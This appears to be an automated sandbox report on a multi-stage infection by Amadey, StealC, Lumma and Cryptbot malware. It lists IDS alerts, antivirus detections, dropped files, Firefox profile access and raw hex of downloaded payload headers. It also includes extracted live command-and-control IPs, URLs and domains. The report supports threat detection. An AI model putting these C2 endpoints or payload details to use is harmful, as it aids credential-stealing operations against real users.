2024-11-23T13:28:46.681037+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49818	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T13:28:48.235570+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49818	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T13:28:46.809626+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49818	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T13:28:59.028374+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49866	104.21.33.116	443	TCP
2024-11-23T13:29:38.167952+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	50002	104.21.33.116	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T13:28:45.714504+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49818	185.215.113.206	80	TCP
2024-11-23T13:29:20.596125+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49947	185.215.113.206	80	TCP
2024-11-23T13:29:41.528283+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50013	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T13:28:05.927580+0100	2856147	1	A Network Trojan was detected	192.168.2.6	49714	185.215.113.43	80	TCP
2024-11-23T13:33:17.268273+0100	2856147	1	A Network Trojan was detected	192.168.2.6	50217	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T13:28:20.202244+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	49721	TCP
2024-11-23T13:28:34.812540+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	49771	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T13:28:10.465749+0100	2803305	3	Unknown Traffic	192.168.2.6	49729	31.41.244.11	80	TCP
2024-11-23T13:28:29.196932+0100	2803305	3	Unknown Traffic	192.168.2.6	49777	185.215.113.16	80	TCP
2024-11-23T13:28:37.796725+0100	2803305	3	Unknown Traffic	192.168.2.6	49799	185.215.113.16	80	TCP
2024-11-23T13:28:46.870935+0100	2803305	3	Unknown Traffic	192.168.2.6	49824	185.215.113.16	80	TCP
2024-11-23T13:28:54.102257+0100	2803305	3	Unknown Traffic	192.168.2.6	49843	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T13:28:48.965666+0100	2803304	3	Unknown Traffic	192.168.2.6	49818	185.215.113.206	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T13:29:19.346274+0100	2843864	1	A Network Trojan was detected	192.168.2.6	49943	104.21.33.116	443	TCP
2024-11-23T13:30:02.961099+0100	2843864	1	A Network Trojan was detected	192.168.2.6	50089	104.21.33.116	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/c4becf79229cb002.phpU-	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpP1	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000004.00000003.2214483848.0000000004C20000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 0000000A.00000002.2893781909.000000000148E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: 01806ad967.exe.5196.7.memstrmin	Malware Configuration Extractor: Cryptbot {"C2 list": ["fvtekk5pn.topIN\|fvtekk5pn.top", "vtekk5pnvtekk5pn.topn.top", "befvtekk5pn.top", "hesefvtekk5pn.top", "analforeverlovyu.top", "vtekk5pnvtekk5pn.top", "fvtekk5pn.top\|fvtekk5pn.top", "home.fvtekk5pn.top", "ouldfvtekk5pn.top", "fvtekk5pn.top"]}
Source: 847b1b04ba.exe.2788.14.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": "https://property-imper.sbs/api", "Build Version": "LOGS11--LiveTraffi"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 55%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 55%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: 01806ad967.exe, 00000007.00000002.3830661343.0000000001273000.00000040.00000001.01000000.00000009.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_06fa9eca-0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.6:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.6:49838 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.6:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.6:49866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.6:49889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:49898 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.6:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:49909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.6:49925 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.6:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.6:49970 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.6:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.6:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.6:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.6:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.6:50040 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50064 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50063 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.6:50089 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50128 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50134 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50132 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50133 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_0064DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	11_2_0064DBBE
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_0061C2A2 FindFirstFileExW,	11_2_0061C2A2
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_006568EE FindFirstFileW,FindClose,	11_2_006568EE
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_0065698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	11_2_0065698F
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_0064D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_0064D076
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_0064D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_0064D3A9
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_00659642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	11_2_00659642
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_0065979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	11_2_0065979D
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_00659B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	11_2_00659B2B
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_00655C97 FindFirstFileW,FindNextFileW,FindClose,	11_2_00655C97

Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\doomed\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\0absryc3.default\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\	Jump to behavior

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 196MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:49714 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:49721
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49755 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:49771
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49793 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49819 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49818 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49818 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49818
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49818 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49818
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49818 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49837 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49885 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.6:49945 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50013 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49947 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:50217 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.6:49958 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49838 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49854 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49854 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49866 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49838 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49794 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49794 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:49943 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49986 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49970 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49986 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49970 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:50002 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:50089 -> 104.21.33.116:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: https://property-imper.sbs/api
Source: Malware configuration extractor	IPs: 185.215.113.43
Source: Malware configuration extractor	URLs: fvtekk5pn.topIN\|fvtekk5pn.top
Source: Malware configuration extractor	URLs: vtekk5pnvtekk5pn.topn.top
Source: Malware configuration extractor	URLs: befvtekk5pn.top
Source: Malware configuration extractor	URLs: hesefvtekk5pn.top
Source: Malware configuration extractor	URLs: analforeverlovyu.top
Source: Malware configuration extractor	URLs: vtekk5pnvtekk5pn.top
Source: Malware configuration extractor	URLs: fvtekk5pn.top\|fvtekk5pn.top
Source: Malware configuration extractor	URLs: home.fvtekk5pn.top
Source: Malware configuration extractor	URLs: ouldfvtekk5pn.top
Source: Malware configuration extractor	URLs: fvtekk5pn.top

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 12:28:10 GMTContent-Type: application/octet-streamContent-Length: 4395520Last-Modified: Sat, 23 Nov 2024 10:15:30 GMTConnection: keep-aliveETag: "6741ab42-431200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 00 c5 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 c5 00 00 04 00 00 fe 13 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ec ef c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c ef c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 38 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 6a 74 77 63 62 74 77 00 60 1b 00 00 90 a9 00 00 60 1b 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 6d 61 63 73 77 7a 65 00 10 00 00 00 f0 c4 00 00 04 00 00 00 ec 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 c5 00 00 22 00 00 00 f0 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 12:28:28 GMTContent-Type: application/octet-streamContent-Length: 1852416Last-Modified: Sat, 23 Nov 2024 12:18:19 GMTConnection: keep-aliveETag: "6741c80b-1c4400"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 c2 00 00 00 00 00 00 00 70 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 49 00 00 04 00 00 81 39 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 60 05 00 00 10 00 00 00 62 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 70 05 00 00 02 00 00 00 72 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 05 00 00 02 00 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2a 00 00 90 05 00 00 02 00 00 00 76 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 72 6f 72 6e 69 7a 62 00 b0 19 00 00 b0 2f 00 00 a6 19 00 00 78 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 6b 66 66 74 70 74 71 00 10 00 00 00 60 49 00 00 04 00 00 00 1e 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 49 00 00 22 00 00 00 22 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 